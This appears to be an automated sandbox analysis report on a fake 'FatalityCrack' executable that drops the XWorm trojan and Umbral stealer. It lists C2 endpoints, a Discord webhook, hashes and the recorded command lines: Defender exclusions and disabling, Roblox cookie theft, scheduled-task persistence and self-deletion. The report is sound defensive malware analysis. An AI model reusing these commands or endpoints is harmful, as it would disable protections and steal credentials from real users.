Resubmissions

27-12-2024 17:46

241227-wcf2haxna1 10

26-12-2024 23:41

241226-3pykmsvnhx 10

Analysis

  • max time kernel
    14s
  • max time network
    11s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    27-12-2024 17:46

General

  • Target

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe

  • Size

    144KB

  • MD5

    9e092ddaae5a606aa7562aefa6d19193

  • SHA1

    f89629fc9325aa4e18563b9fb37d9b01e404e954

  • SHA256

    3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54

  • SHA512

    477a5cace00bb9fe1322f80f73b4f55da96ca8b43fbb735853568c406358ea47d68f575eadff34d878ba58d576129e6f007d661138e8d43bd703c201e7aee382

  • SSDEEP

    3072:ICjy4wEgSRZg6tYJbpVOfraR+wS8WurzkMXEe99:nwhmOCYJb/EraRVS8l59

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:46732

listing-repository.gl.at.ply.gg:46732

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1321219981534298203/2bX3Cg6xbwKu45g5JAiVdKvMjVgYAyc-dGKLvybGhQzK_1h1Jt7szxeJv6nKrIMpNnXN

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Using powershell.exe command.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8311c1bffc4aa452ac99de43e4c52f33749385cb788ab783e8efd35306ba54.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'FatalityCrack.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2448
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2268
    • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe
      "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2728
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe"
        3⤵
        • Views/modifies file attributes
        PID:2600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:996
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1712
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2564
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:920
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:1632
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2132
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:768
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:2260
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:2372
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:320

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrack.exe

        Filesize

        68KB

        MD5

        39e5154434df5aa11e9f0c65cd4f144f

        SHA1

        834ec83adc2234cbcd70efbb983891cc72259ddd

        SHA256

        3c2fdf6082ef589e943918ff25b7fe96e2e741464711dabab2d31a33e4b1e255

        SHA512

        f5c579a374b0898fdc6b4be7aeea110a18d1138a2d8ab4e9595f341e8258c5a35cd018048dc90ebb640f2ddd5d2be3b26f1caceb92a17124ce0c69719340db0f

      • C:\Users\Admin\AppData\Local\Temp\FatalityCrаck.exe

        Filesize

        231KB

        MD5

        ae57a759dd91e36e11de032c61698600

        SHA1

        f96c5f318f439fabc012f1746a564c383fa41878

        SHA256

        f1ea81371987e6e74a79f623bcc16262efd6151a352d491ba668c706df8d3456

        SHA512

        26112e2bdb0884f6e781ba6e1e8e871aaecfbdc9ee80f156aacc6622c32b1c2069e66311f8ca458e34454c787f05ed463a2548d7a7bc05735d1a6f5bb524d295

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        a103f2a047bb4552e5aaae5919921807

        SHA1

        4c1bbcc8eaac7c11fe9c0bce475921f2a9ec52d5

        SHA256

        dade9e2d0faae2600bf8eed014cb91d954f7f070093581708e9d61a9281d3cce

        SHA512

        2fea7eb1f3623165a7f29531b3f6d44653ff4ef65d7a9c12ce850f7148612bc5fe80e6851228fffa552943cb7828e5cfda852c3e15f60895994bd853185fe2c4

      • memory/996-28-0x000000001B660000-0x000000001B942000-memory.dmp

        Filesize

        2.9MB

      • memory/996-29-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

        Filesize

        32KB

      • memory/1968-35-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

        Filesize

        32KB

      • memory/2268-14-0x000000001B7A0000-0x000000001BA82000-memory.dmp

        Filesize

        2.9MB

      • memory/2268-15-0x0000000001E10000-0x0000000001E18000-memory.dmp

        Filesize

        32KB

      • memory/2380-5-0x000007FEF5C80000-0x000007FEF666C000-memory.dmp

        Filesize

        9.9MB

      • memory/2380-0-0x000007FEF5C83000-0x000007FEF5C84000-memory.dmp

        Filesize

        4KB

      • memory/2380-22-0x000007FEF5C80000-0x000007FEF666C000-memory.dmp

        Filesize

        9.9MB

      • memory/2380-1-0x00000000010D0000-0x00000000010FA000-memory.dmp

        Filesize

        168KB

      • memory/2564-59-0x0000000001F50000-0x0000000001F58000-memory.dmp

        Filesize

        32KB

      • memory/2828-21-0x0000000000970000-0x00000000009B0000-memory.dmp

        Filesize

        256KB

      • memory/3016-9-0x000007FEF5C80000-0x000007FEF666C000-memory.dmp

        Filesize

        9.9MB

      • memory/3016-8-0x0000000000CB0000-0x0000000000CC8000-memory.dmp

        Filesize

        96KB

      • memory/3016-90-0x000007FEF5C80000-0x000007FEF666C000-memory.dmp

        Filesize

        9.9MB